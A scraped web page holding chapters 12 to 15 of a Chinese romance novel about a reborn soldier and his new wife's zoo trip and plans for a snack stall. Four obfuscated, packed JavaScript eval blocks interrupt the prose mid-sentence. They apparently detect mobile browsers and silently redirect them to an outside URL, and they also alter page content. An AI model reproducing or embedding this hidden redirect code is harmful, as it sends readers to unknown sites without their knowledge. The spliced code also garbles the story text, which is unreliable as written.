l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487386|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐秀竹显然不信。 有些人喜欢夸大事实,可陈远洲却相反,永远都是一副轻描淡写的样子。徐秀竹也不知道他是心大,还是不拿自己的生命当回事。 “生命只有一次,要珍惜生命。”徐秀竹看着陈远洲,“人活着很不容易的。” 陈远洲没说话,因为对他来说,生命不止一次。 他有个秘密,其实他是活了两辈子。 上辈子陈远洲是特种兵,执行任务的时候为战友挡了一枪,本以为肯定没命了,谁知再睁眼他成了生活在七十年代的陈远洲。 这个陈远洲十八岁,刚进部队一年,还是个新兵。 陈远洲虽然无法解释这次奇妙的新生,但他很快适应了这个时代。上一世的从军经历让他在部队里迅速成长,也让他成为了最年轻的副团长。 还有件事陈远洲也没有告诉徐秀竹,其实他早就注意到了徐秀竹。 那应该是八三年的秋天,陈远洲休探亲假,从镇上回千河村。客车即将出发的时候赵春梅和徐秀竹上了车,走在前面的赵春梅先找到了座位,徐秀竹最后坐在了陈远洲旁边的位置。 那天徐秀竹从坐下以后就开始哭,还是那种无声的哭泣,眼泪噼里啪啦的往下掉。陈远洲当时就想,这姑娘可真是个能人,竟然能哭这么长时间。 下车以后赵春梅和徐秀竹走在前面,陈远洲就不远不近的跟在后面,刚好能听见二人的对话,但基本都是赵春梅在说。 陈远洲理出个大概,就是徐秀竹已经上到了高二,但是因为家里原因辍学了。徐秀竹显然是不情愿的,不然也不会哭了一路。 回家的时候陈远洲有意无意的在陈远红面前提到徐家,陈远红的话匣子一下子打开了,把徐家这些破事一股脑的跟陈远洲说了一遍,陈远洲这才知道这姑娘的日子不好过。 休假的日子很无聊,陈远洲在千河村四处闲逛,可总能碰到徐秀竹。他就这么看着徐秀竹在河边洗衣服,捞鱼,在树下看书,在山上捡柴,摘野果子,用弹弓打树上的核桃,跟梁喜枝一边看露天电影一边叽叽喳喳的讨论...... 徐秀竹看着瘦瘦小小的,可陈远洲却在她身上看到了蓬勃向上的生命力。 回部队之后陈远洲偶尔也会想起徐秀竹,可一想到徐秀竹的年纪,他就觉得自己多少有点变态了。 八六年的时候陈远洲又休了一次探亲假。当时李国柱结婚,他参加婚礼的时候碰到了徐秀竹。和三年前相比,徐秀竹看着更瘦了,整个人也更沉闷了。 再之后就是前一阵陈远洲转业回来,徐秀竹找到他,说要跟他结婚。 眼前的小姑娘拍着胸脯保证自己会是一个合格的结婚对象,然后陈远洲脑子一热,答应了。 身旁的徐秀竹正专心看着车窗外的风景。陈远洲看着她,想到几年前,她因为没法继续上学而哭了一路的样子。 “前面就是动物园了。”徐秀竹转头跟陈远洲说道。 陈远洲看着徐秀竹亮晶晶的眼睛,问道:“你想不想继续念书?” 13. 第13章 第13章 徐秀竹没有想到陈远洲会忽然提起念书的事。 没上完高中,没考上大学,这确实是徐秀竹的遗憾。可她今年都二十二岁了,也已经结了婚,而且结婚之前她可是信誓旦旦的跟陈远洲保证过,会做一个合格的妻子,她现在经济还没独立,若是再跑去上学,那岂不是给陈远洲增添负担? 徐秀竹想了一下,“不了。” 陈远洲有些意外:“不想去?” 徐秀竹直言道:“虽然没上完高中挺遗憾的,但人这辈子哪能事事都如意呢,我已经和你结婚了,那当前最重要的事就是把日子过好,而且我觉得现在这样已经很好了,人不能太贪心的,既要又要,这样不好。” “为什么不能既要又要?如果你想,我来安排。” 徐秀竹知道陈远洲是好意,可她也知道人不能总指望着别人过日子。 “也许有一天我会重回校园,但不是现在。”徐秀竹清澈的眼神里带着笑意:“现在我们要去动物园啦!” 公共汽车直接停在动物园门口。下车的时候有个小孩过于兴奋,挣脱家长的手从后面冲了出来,直接撞向陈远洲。 陈远洲反应虽然快,可受伤的右胳膊还是不小心撞到了车门,他眉头一皱,显然是撞疼了。 徐秀竹注意到后,心下有些不悦,下车后抓住了要跑的小男孩,并让他道歉。 小男孩张牙舞爪的挣脱徐秀竹后,跑到他妈妈身后。而小男孩的妈妈明知道孩子撞到了人,非但不让孩子道歉,反而态度嚣张的指责徐秀竹欺负小孩。 本来就是一句对不起的事,可见她们母子的态度这么差,徐秀竹跟她较上了劲:“你的孩子今天只是撞到了一个年轻人,但如果他撞到的是一个年迈的老人呢?你的孩子做错了事,你这个做家长的非但不教育孩子,还要袒护他,你就不怕他长大以后也是非不分?” 路过的人听到徐秀竹这番话觉得很有道理。其中有个男人说他的父亲就是前几天出门被一个疯跑的小孩撞倒后摔伤了腰,现在还在医院躺着呢。 小男孩的妈妈则觉得徐秀竹小题大做,再加上她的孩子一直在嚷嚷着要去动物园,于是态度非常恶劣道:“你赶紧滚一边去!小心我找人收拾你!” 这明晃晃的威胁让陈远洲听了很不舒服,他刚要上前,却被徐秀竹拽到了身后,还眼神并示意他不要说话。 “你们今天必须道歉。”徐秀竹态度坚决。 眼见围观的人越来越多,孩子妈妈感觉自己都快成了动物园里的猴,再看跟徐秀竹在一起的陈远洲也不像好惹的样子,就心虚的快速说了一句对不起,想了结这件事。 “还有你的孩子。”徐秀竹又看向那个小男孩。 “赶紧说对不起!”小男孩的妈妈生气的拧了一下孩子的耳朵,小男孩哇的一声哭了,边哭边说“对不起”。 徐秀竹心满意足的拉着陈远洲离开,边走边对陈远洲说道:“你刚刚干嘛要站出来?我和她理论是女人和女人之间的事,你一个大男人要是掺合进来,不就成了咱们合伙欺负她了?” 可陈远洲又问了另一个问题:“你刚刚是说我年轻?” “啥?”徐秀竹没理解他的意思。 陈远洲解释道:“你刚刚说,他的孩子今天撞到的是年轻人。” “不然呢?难道你是老爷爷吗?”徐秀竹不太理解陈远洲的关注点。 陈远洲听后眉梢轻挑,看得出来心情很好,可徐秀竹却觉得他有点奇怪。 动物园正门旁边是卖票的小亭子,门票一元一张,徐秀竹买了两张票,排队跟着大家进了动物园。 滨城动物园始建于一九六零年,占地面积40公顷,因为前身是东北最大的苗圃培育基地,所以动物园还特别重视绿化,各类乔木、灌木就有60多种。 动物园里目前展出的动物有200多种,一条人工湖把动物园分成南北两区,南区是食肉动物,北区是食草动物。 滨城动物园八六年的时候还被评为全国十大综合性动物园之一。 进入动物园后右手边是一个小型的儿童乐园,娱乐设施虽比不上文化公园里的齐全,但也足够让小朋友们见到后走不动路。 因为不是节假日,动物园里的人并不多,秀竹和陈远洲慢悠悠的逛着,见到了很多动物。 到了老虎园的时候,徐秀竹指着其中一只胖成罐子的老虎,不禁感叹道:“这老虎也太胖啦!” 老虎像是听懂了她的话,瞪了她一眼后转了个身,把郁闷的屁股留给了徐秀竹。 陈远洲笑道:“它生气了。” 饲养员正准备给老虎们加餐,听到徐秀竹的话后十分护短道:“我们二胖可一点都不胖,身材老标准了!” 那只叫二胖的胖老虎听到后朝着饲养员哼唧了一声,心情明显好了。 徐秀竹在偌大的动物园里转着,看到了很多不曾见过也不曾听过的动物。但这其实并不是她第一次来动物园。 她们镇上也有个动物园,但是很小,里面的动物也很少。门票当然也很便宜,一个人只需要五分钱。 小时候赵春梅带着她和两个弟弟去镇上,徐俊柏吵着要去动物园,他一吵,更小的徐俊松也闹,赵春梅就给徐俊柏一毛钱,让他领着弟弟进去,而她则跟赵春梅在外面等着。 其实那个时候徐秀竹也特别想进去看看,可赵春梅非说她是姐姐,要懂事,还说动物有什么好看的,村里多的是鸡鸭鹅狗,回去可以看个够。 可徐秀竹也就比徐俊柏大了一岁多而已,也是个孩子。 后来再大一点,徐秀竹自己到镇上,动物园就成了她必去的一个地方。哪怕她再节省,也要花这五分钱。 其实那个动物园真没什么好看的,里面只有几只瘦小的猴子,两只梅花鹿,一头棕熊,和一些禽类,可这却成了徐秀竹心里的一个执念。 如今长大后的徐秀竹见到了更大的动物园,看似弥补了遗憾,可那个年少被轻视的徐秀竹终究是被困在镇上那个小小的动物园里,无法挣脱。 离开动物园,徐秀竹和陈远洲要坐车回去了。等车的时候徐秀竹忽然看到路边的电线杆上贴着的小广告,标题只有八个字——祖传圣手,专治男科。 徐秀竹偷偷瞟了一眼身旁的陈远洲,趁他不注意小心翼翼的向电线杆移动,然后假装靠在电线杆上,以迅雷不及掩耳的速度揭下小广告,揣进了口袋里。 陈远洲注意到她的小动作,朝她看了过来,徐秀竹心里一慌,一双手又是摸头发又是摸脸又是拽衣服,一秒钟八百个假动作来掩饰心虚,还好陈远洲只看了她一眼就转过了头,不然她真怕自己绷不住露馅。 上车之后徐秀竹坐在陈远洲身边还有点不自在。她在心里自我开解,她和陈远洲现在是夫妻啊,除了要过好柴米油盐的日子,那夫妻生活也很重要啊,她这么做也没什么问题吧? 坦然啊坦然,徐秀竹小声念叨了一句。 第二天是周末,上午十点多赵无双来了,快到饭点的时候徐秀竹留他吃饭,赵无双这次没有推辞,还笑嘻嘻的说自己就是来蹭饭的。 赵无双站在厨房门口一边剥橘子一边问道:“嫂子,用我帮忙吗?” 陈远洲照着他后脑勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487387|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻拍了一巴掌,“进来洗菜。” “好嘞!”赵无双直接把橘子整个塞进嘴里,然后乐颠颠的跟着陈远洲一起洗菜。 洗好菜后陈远洲又在徐秀竹的指挥下麻利的切好,徐秀竹见他左手的刀工都这么好,有些吃惊道:“你会做饭?” 赵无双抢答道:“我哥会!” 陈远洲:“之前在部队经常有野外训练,有时候炊事班不跟着,就得自己埋锅做饭。” 徐秀竹看着这细的都能穿针的土豆丝,由衷问道:“陈远洲,还有什么是你不会的吗?” 陈远洲虽然没回答,可赵无双一看他的表情就知道他在暗爽。离开厨房的时候赵无双还打趣他,“哥,你刚刚那个暗爽的表情多少有点不值钱了。” 赵无双本以为陈远洲会再给他后脑勺一巴掌,都已经做好了防守的准备,可却听陈远洲说道:“有那么明显?” “简直不能再明显了!”赵无双点头如捣蒜。 陈远洲:“都让你看出来了,那估计是挺明显。” “是呗!”赵无双说完觉得有点不对劲,追着陈远洲屁股问道:“诶哥,你这是啥意思啊?你说我眼神不好使啊?” “我说你脑子不好使。”陈远洲又扔给赵无双一个橘子,被他稳稳接住。 徐秀竹很快就做好了四菜一汤。汆白肉、糖醋鱼、红烧排骨、酸辣土豆丝、萝卜粉丝汤。 怕赵无双也是个大胃王,徐秀竹全都用她新添置的大盘子装的菜,上桌之后四盘菜装出了八盘菜的气势。 赵无双早上吃了七个包子,还喝了三碗粥,本以为挺到中午不成问题,可以徐秀竹做的菜实在太香了,他肚子里的馋虫早就开始抗议了。 “嫂子,你还会做汆白肉呢!”赵无双夹了一筷子,沾了沾面前小碗里的蘸料。这是他从小到大最喜欢的一道菜,只是没想到徐秀竹这个南方人竟然也会做。 “刚来滨城的时候吃过一次,第一次做,可能不正宗。”徐秀竹给赵无双盛了碗汤。 “这也太好吃了!”赵无双又夹了一筷子,用实际行动来证明,“不过好像还是有一点点不同。” “出锅的时候我加了蒜香油,这样吃起来不会太腻。”徐秀竹解释道。 其实汆白肉做起来并不复杂,这道菜更注重保留食材的原味,只要放盐的时机准确,六成熟的时候捞出来切薄片,再和酸菜、粉丝一起炖开,最后放明油、葱花、味精调味即可。 赵无双嘴上止不住地夸赞:“第一次做就这么成功,嫂子你是天才吧!这手艺开饭馆都绰绰有余!” 徐秀竹笑吟吟道:“那我以后要是有机会开饭馆,你可要来捧场。” “那是自然!”赵无双一口答应。 赵无双这顿饭吃得肚子都撑圆了,为表感谢,主动接过洗碗的任务。他一边打着饱嗝一边羡慕陈远洲:“哥,你可真有口福啊,娶了一个这么会做饭的媳妇。” 赵无双走了以后,徐秀竹主动跟陈远洲说起自己想摆摊卖小吃的想法。 陈远洲记得徐秀竹在饭桌上跟赵无双说的话,“不是开饭馆吗?” 徐秀竹说道:“开饭馆投入太大,万一生意不好怎么办?不如先摆摊卖小吃,时间上也更灵活。” 有想法是好事,陈远洲也支持,“有什么需要我帮忙的,尽管说。” 徐秀竹忽然问道:“那是不是我做什么你都支持我?” 陈远洲并不上当,“先说来听听。” 徐秀竹犹豫了一会儿,红着脸从口袋里掏出在电线杆上揭下来的小广告。 “男科医院了解一下?” 14. 第14章 第14章 陈远洲也不知道徐秀竹到底是从哪听说他不行。他看着手里的小广告,有些哭笑不得。 徐秀竹看陈远洲低着头不说话,忽然有些后悔了,后悔不该这么直白的提到这个问题,陈远洲毕竟是个男人,男人都好面子。 陈远洲不说话,徐秀竹的脑子飞快转动,想着怎么说才能不伤到陈远洲的自尊心,然后她就看到陈远洲把小广告团成一团装进裤兜里。 “你很在意?”陈远洲的语气里听不出什么情绪。 徐秀竹连忙摆手:“不在意,一点都不在意!你千万不要有心理负担!” 二十九岁的陈远洲忽然幼稚起来,他长叹了口气,故意语气悲伤的问道:“我要是永远都治不好,该怎么办?” 徐秀竹看着高大的陈远洲一下子颓废的缩在了沙发里,忽然觉得自己真该死啊。 “没关系的,真的。”徐秀竹赶紧坐过去,“这些都是小事,咱们两个把日子过好比什么都强,而且我听说清心寡欲的人都长寿,那咱俩不得活到一百岁啊!” 听着徐秀竹乱七八糟的安慰,陈远洲强忍着笑意,从喉咙里挤出几个字:“那你会和我离婚吗?” 在徐秀竹听起来,陈远洲这句话可都带着哭腔了,她懊恼的恨不得给自己一巴掌,脑子一热直接抱住了陈远洲,像安抚小孩似的轻轻拍着他的背,柔声承诺道:“当然不会了,你放心,只要你不提离婚,我就永远不会和你离婚。” 徐秀竹的身上有股淡淡的桂花香气,让人闻着很安心。陈远洲吸了吸鼻子,意有所指道:“你也放心,我一定会让你满意。” 徐秀竹这会儿正一门心思的愧疚着,以及想着怎么安慰陈远洲,哪里听得出来他话里的意思。 —— 陈远洲还有两天假期,趁着他在家,徐秀竹开始筹备小吃摊的事情。 她这几天也观察了一下,发现滨城的小吃摊卖炸食类的比较多,比如张大姐家那种油炸糕,还有麻花、春卷、芝麻丸一类的,这种小吃大多是用一辆改装过的人力三轮车出摊,三轮车上的空间大,可以装下煤气罐和锅具这些东西。 徐秀竹打算卖蒸食类的面食,她不会骑三轮车,为了保险起见,她决定卖个扁担,扁担两头放两个筐,做好保温措施,这样就可以挑着扁担走街串巷的叫卖。 馒头花卷一类的面食比较常见,徐秀竹得做点特别的才行。那本老掉渣的菜谱上就记录了一些面点的做法,她打算先做脂油卷、豆沙卷和蜂糖糕这三样试试。 脂油卷和蜂糖糕都需要用到猪油。六七十年代的时候物质资源匮乏,家家户户一年到头见不到多少荤腥,所以猪板油就成了稀罕的东西,买回来熬完猪油留着炒菜用。但是如今人们的生活水平相对提高了些,开始注重饮食的多样化,猪板油也没就那么紧俏了。 徐秀竹这几天在市场转悠的时候注意到一家卖肉的个体户,老板是个女人,和其他卖肉的摊贩不一样,她的摊位总是干干净净的,本人也是带着围裙和套袖,收拾的清清爽爽,让人一看心情就好。 徐秀竹找女老板买了二斤猪板油,花了三块六毛钱。 猪板油是猪肚子上的大片白色脂肪,和肥肉相比出油率更高,一斤大概可以出六到七两的猪油,而且熬好后有一股浓郁的油香味,不像猪肥肉熬出来的油只有猪肉味,没有油香味。 “妹子,你看这秤,高高的!”老板称肉的时候特意招呼徐秀竹看秤。 徐秀竹认识秤,知道她没骗人,想着以后可能会经常来买肉,就跟她套近乎道:“姐,你家的摊位收拾的真干净,让人看了心情就好。” 徐静一听呲牙一乐,“那是,咱卖肉的也得干干净净的。” “姐,我就住这附近,以后会经常需要猪板油,你要是有好的就给我留着呗,一次给我留二斤就行。” 徐秀竹倒是可以一次性多熬些猪油备用,但是她怕卖的不好,而且猪油放的时间长了味道也不如刚熬出来的好。 “那感情好啊!”徐静把装好的猪板油给徐秀竹,“妹子你叫啥?咱俩交个朋友,以后你就来我家买肉,保证新鲜够秤!” 徐秀竹自报姓名,徐静一听跟她同姓,顿时更亲切了,“唉呀妈呀!本家啊!我叫徐静。” “静姐。”徐秀竹叫得热乎,“那我就先走了,你忙着。” 回家后徐秀竹就开始熬猪油。她把猪板油洗干净,改刀切成小块,放入锅里后又加入适量的清水,这样可以让猪板油慢慢融化,防止糊锅。 熬猪油是一个需要耐心和细心的过程,要用中火熬到水干,再转小火继续熬成金黄色,徐秀竹还要准备其他食材,就把这个任务交给了陈远洲。 猪油熬好后需要过滤,稍微冷却后加入少许白糖和盐,然后就装入干净无水的容器中密封保存,等它凝固变成白色固体。 徐秀竹招呼陈远洲:“你尝尝这个。” 猪油渣口感香脆,徐秀竹又撒了些盐面,吃起来更有滋味,陈远洲一连吃了好几块。 徐秀竹动作很快,午饭前就把脂油卷、蜂糖糕还有豆沙卷都做了出来。 她满眼期待地等着陈远洲的试吃反馈,可陈远洲饭量这一块是手拿把掐,要是让他形容味道的话他就词穷了,半天才磕磕巴巴挤出一句话:“好吃,非常好吃。” 徐秀竹撇撇嘴,一脸嫌弃。为了得到真实的反馈,她每样装了四个,去了薛艳家,正巧赶上薛艳家要吃午饭。 知道徐秀竹打算出摊卖这三样,于是三口人非常认真的品尝着,最后一致给出好评。 徐秀竹心里又有点没底,“嫂子,你说会有人买吗?” 薛艳肯定道:“那当然!你做得多好吃啊!”她指着脂油卷说道:“这玩意我都没见过,吃起来香喷喷,咸滋滋的,连菜带饭都有了。” 谭松则更喜欢蜂糖糕,洁白的蜂糖糕十分暄软,香甜适口,像小蛋糕一样。 谭立新跟陈远洲一样,说不出一二三,翻来覆去就强调着“好吃”两个字。 有了薛艳一家人的反馈,徐秀竹心里更有把握了。回家之后她又把剩下的分成几份,准备分给邻居。 都说远亲不如近邻,可自从搬来,陈远洲就一直不在家,徐秀竹总想等着他在家的时候一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487388|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起挨家挨户的打声招呼,结果就拖到了现在。 徐秀竹这个小区每栋楼都是四层,每层两户人家。一楼住着两户都是上了年纪的老人家,一户姓孙,一户姓李,两家的子女孝顺,特意选了这个条件好的小区,买了一楼给老人养老。 二楼的邻居徐秀竹之前跟他们打过几次照面,夫妻俩都是初中老师,家里有个刚上一年级的女儿。 徐秀竹敲了敲门,开门的是丈夫。他们夫妻知道对门搬来了新邻居,但也只见过徐秀竹。徐秀竹说明来意后,男人笑了笑,跟陈远洲握了握手,自我介绍道:“你好,我叫吴凯。” 陈远洲点点头,也报了姓名。 吴凯一米七五的身高,白白净净,戴着眼镜,看着很儒雅,他接过徐秀竹递来的面点,说了声谢谢。客厅里他的妻子正在好言劝着挑食的女儿吃午饭,累的满头大汗。 小女孩见爸爸站在门口,也跑了过来,眨着眼睛好奇的看着徐秀竹和陈远洲,问道:“你们是谁呀?” “桐桐,他们是住在对门的叔叔和婶婶,快叫人。”吴凯和女儿说话的时候声音特别温柔。 “叔叔婶婶好。”吴桐说完就注意到爸爸手里的东西,小鼻子凑上去闻了闻,惊讶道:“爸爸,你手里拿的是什么呀?好香呀!” 吴桐从小就挑食,长得又瘦又小,为了让她好好吃饭,吴凯夫妻不知道想了多少办法,可都没用。见她一直盯着自己手里的面点,吴凯赶忙递到她面前,吴桐挨个闻了一下,最后选择了蜂糖糕。她先是掰了一点点尝了尝味道,然后小眼睛一下就亮了,立马大口吃了起来,给吴凯乐得赶紧叫老婆来看。 郑悦欣见女儿肯吃东西,别提多高兴,对着徐秀竹谢了又谢,还问她家里还有没有,她们可以出钱买。 徐秀竹本来留了两个想跟陈远洲一人一个,见吴桐喜欢吃,她干脆都让了出来,郑悦欣说什么要付钱,她还说徐秀竹要是不收钱,那她们就不要了。 主要是徐秀竹还没想好定价是多少,蜂糖糕以后是要往外卖的,要是价钱要高了,让吴凯夫妻知道,该怎么想她。于是她实话实说,说今天只是先做了一些试试味道,她打算对外出售,但是价格还没定。 吴凯一听斟酌了一下,然后根据市场价给了个建议,“这样大小的面点若是在副食店,怎么也要两毛钱一个,若是味道好,我觉得可以把价格定在两毛五分钱或者三毛钱。” 徐秀竹想到张大姐的油炸糕是两毛钱一个,她做得这些要比油炸糕大了一圈,两毛五分钱的价格也算公道。 “那就两毛五分钱吧,谢谢吴大哥的建议。” 郑悦欣见吴桐这么一会儿已经把一块蜂糖糕都吃了,赶紧从口袋里掏出五毛钱给徐秀竹,还说道:“你再做的时候一定要给我留几个。” 徐秀竹攥着这热乎乎的五毛钱,笑容灿烂道:“一定!” 两个人又去了三楼,陈远洲跟在徐秀竹身后,见她上楼时候的脚步都轻快了许多,便扯了扯她的袖子。 “嗯?”徐秀竹回头看他,脸上还带着笑意。 “徐老板,以后我可就跟着你混了。” 15. 第15章 第15章 三楼徐秀竹家上面这户房子是空的,还没有人住,徐秀竹就敲了敲对面那户的门,等了一会儿见没人开门,徐秀竹就以为家里没人,准备和陈远洲上四楼。可还没等上台阶,门就开了。 年轻男人又瘦又高,头发凌乱的都遮住了眼睛,他的皮肤还很白,就像那种没见过阳光一样的白,连点血色也没有,看见门外是徐秀竹和陈远洲的时候愣了半天,然后才有气无力的问他俩有什么事。 徐秀竹说明来意后把手里的面点递了过去,年轻男人盯着盘子呆滞了几秒后,直接一只手抓起三块面点狼吞虎咽的吃了起来,那样子就像是饿了很长时间一样。 徐秀竹看了看陈远洲,心想这人也太奇怪了。陈远洲顺着敞开的门往屋里看了一眼,见到客厅地上零零散散躺着很多稿纸。 三块面点下肚,年轻男人的目光总算不再呆滞,因为吃的太急了,他控制不住的直打嗝,边打嗝边说道:“谢谢......嗝......你们,我两天....嗝....没吃......嗝......饭了。” 徐秀竹心想,难怪了,两天没吃饭可不得饿的眼睛都发蓝了。 “饭还是得按时吃的,身体是革命的本钱。”徐秀竹觉得他太奇怪了,就随口敷衍了一句,拉着陈远洲准备走。 谁知年轻男人倒是不见外,直接说道:“那你家里还有吃的吗?我没吃饱。” 徐秀竹挠了挠头,心想这怎么还被他讹上了?不过她和陈远洲把四楼的面点送完之后,还是把他带回了家。 面点都分完了,徐秀竹就用剩下的面擀了面条,做的打卤面,一个肉末茄子卤,一个辣椒鸡蛋卤。 吃饭的时候徐秀竹知道了这位两天没吃饭的神人叫郝行,跟徐秀竹同岁,目前的工作就是蹲在家里写作。 “那你是作家啊!”徐秀竹顿时肃然起敬。 郝行被她看的有些心虚,连连摇头,“不算不算,还没有发表过。” “那未来就是作家啊。”徐秀竹的情绪价值给的很到位。 郝行跳过作家这个话题,而是点评起她做的打卤面:“你这面条做的真好吃!手擀的每一根面条都充满了弹性,咬下去既有嚼劲又不失柔韧,还有这个肉末茄子的卤子,色泽鲜亮,让人一看就有食欲,尤其是茄子经过煎制之后十分软糯,与肉末和豆瓣酱的香味融合在一起,口感丰富有层次,极其鲜美!还有这个辣椒鸡蛋的卤子,往往越简单朴素的食材就越能考验厨师水平,你简直太厉害了!” “你说的可真好!”徐秀竹越听越高兴,心想不愧是搞创作的,词汇量就是丰富,这才是她想要的试吃反馈啊! 然后她看了眼只会说“好吃,非常好吃”的陈远洲,这一对比,简直没眼看。 陈远洲抱着膀一言不发的看着还在埋头大吃的郝行,有种想要把人扔出去的冲动。 郝行知道徐秀竹打算卖面点,吃人家的嘴短,于是主动提道:“你要是想搞点宣传口号,广告词一类的,我可以帮你。” “那太好了!”徐秀竹觉得适当的宣传很有必要。 郝行还有个请求,他希望徐秀竹每次做的时候能给他留几个,他原价购买。他不会做饭,来灵感的时候常常废寝忘食的奋笔疾书,经常忘记吃饭。今天也多亏徐秀竹和陈远洲来敲他的门,不然他都得饿晕过去。 徐秀竹说这都好说,可也不能整天吃面点吧? 郝行总觉得有一道视线盯得他头皮发麻,再一看陈远洲正板着脸看着他。 陈远洲脸上的擦伤还没好,看起来更不好惹了,郝行不知道他的工作,偏偏想象力又丰富,他猜测陈远洲八成是那种没什么正经工作,又好打架斗殴的混子。 然后他有些惋惜的看了眼徐秀竹,觉得这么好的姑娘嫁给这么一个混混,有点惨。 “要不这样吧,以后我做饭的时候就把你那份带出来。”徐秀竹想了个办法。 陈远洲眉头一皱,以为自己听错了。 “这太麻烦你了。”郝行觉得不行。 徐秀竹说道:“又不是白给你吃,你可以按餐付费,或者包月也行。”徐秀竹觉得反正都要做饭,给郝行的带出来,还能增加点收入。 郝行觉得这个可以,立马答应了,上来就要包月。徐秀竹却说可以先试吃一周,按餐付费,要是好郝行觉得能接受,再谈包月的事。 徐秀竹送走郝行,回来的时候感觉屋内气压有些低,再一看低气压中心坐着陈远洲。 陈远洲有点不是心思,“你真的要给那小子做饭?” “要收钱的。”徐秀竹憧憬道:“虽然一顿饭赚不了多少钱,但是积少成多嘛,早晚会做大做强!” 陈远洲看她满脸期待的样子,想说的话又咽了回去,最后有点孩子气的憋出一句:“那小子头发那么长,看着就不像好人。” 徐秀竹认真道:“倒也不像坏人,就是头发太长了一点都不利落,还是你这样的寸头看起来更舒服,人也显着精神。” 陈远洲听后嘴角微微上扬,刚刚还皱着的眉头瞬间舒展。 —— 自从对门的小女孩吴桐吃了徐秀竹做得蜂糖糕后就一直念念不忘,每天都嚷嚷着要吃,郑悦欣便成了徐秀竹的第一位老主顾。 按理说有人买应该高兴,可吴桐年纪太小,总是挑食对身体也不好,徐秀竹给郑悦欣装了两个刚出锅的蜂糖糕,好心提醒道:“桐桐总吃这个也不是个办法,而且这里面含糖,吃多了对她的牙齿也不好。” 郑悦欣递给她五毛钱,也十分无奈道:“没办法啊,其他东西都不爱吃,也就这个能多吃几口。” 吴桐因为挑食,八岁了身高还跟五六岁的小孩一样,可肉蛋奶这些有营养的东西补不进去,郑悦欣两口子也是干着急。 徐秀竹想了个办法:“等我试着把肉蛋奶蔬菜这些有营养的东西都融合到面点里,先让桐桐看不见这些食材,这样也许她就没那么抗拒,能吃进去了。” 虽然不知道能不能成功,可徐秀竹对吴桐的关心还是很让郑悦欣感动。她看到屋里的扁担,知道徐秀竹今天就要正式开业了,就一样买了两个,她说要带到学校去给同事们常常,顺便给她宣传一下。 陈远洲休息了两天也要正式去滨城公安局报道。出门之前他试着挑了一下徐秀竹的扁担,那重量对他来说倒是没什么,但是对徐秀竹怕是有些重,可他就穿个衣服的功夫,徐秀竹已经轻松地挑着扁担下楼了,都没说让他帮忙,更没想等他一起出门。 陈远洲有些无奈,他的小媳妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487389|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是太独立,,太能干了。 谭立新知道陈远洲今天要去单位,一大早说什么都要回单位看看,薛艳劝了他半天也没用。 “远洲今天是第一天跟大家正式见面,我得回去看着,我怕队里那几个小崽子惹事。” 薛艳见他是为了陈远洲,也就不再劝他,还帮他把衣服换上。系扣子的时候薛艳吐槽道:“你就是瞎操心,我看陈远洲可比你厉害多了。” 谭立新也认可陈远洲的能力,可他毕竟刚来,支队里这些人脾气秉性各异,再怎么说自己这个副支队长也干了这么多年,关键时刻也能起到穿针引线的作用。 事实证明谭立新的担心是对的,林寻一来接他的时候就表达了自己对陈远洲这个空降的支队长相当的不满意。 林寻一扶着谭立新上台阶,“师父,局里就算要安排支队长也得先紧着你这个副支队长吧?让一个转业军官来干刑警,领导刑警队,他够格吗?” 谭立新转头瞪了林寻一一眼,“他不够格,你够格?” 林寻一不服气,“我说的是事实,他破过案子吗?” “这次成功打掉赖四儿这伙势力他就是头功,你不清楚?”谭立新腿脚不太方便,走两步就要停一下,林寻一要背他进去,他又不让。 林寻一停下来等谭立新:“可这也是咱们前期做了大量准备的结果,功劳可不是他一个人的!” 谭立新知道林寻一是在为他抱不平,觉得他在队里干了这么多年,就算论资排辈也该是他接这个支队长,可刑警工作哪里能靠论资排辈就行的? 他叹了口气,心平气和的跟林寻一说道:“我知道你心里是怎么想的,但陈远洲就是支队长,我们不仅要配合好他的工作,还要做好自己的工作。” 见林寻一还顶着一张不服不忿的脸,谭立新说道:“还有一件事师父没跟你说,这次要是没有陈远洲出手相救,你现在就是站在我坟头跟我说话了。” 林寻一惊讶的说不出话,谭立新把手搭在他的肩膀上,借着他的力气继续往上走,“所以,对师父的救命恩人客气点儿。” 滨城刑侦支队之前的队长叫胡海,两年前因公牺牲后,就一直是副局长周庆军主抓刑侦工作,谭立新辅助。如今陈远洲接任了支队长,周庆军总算能松一口气。 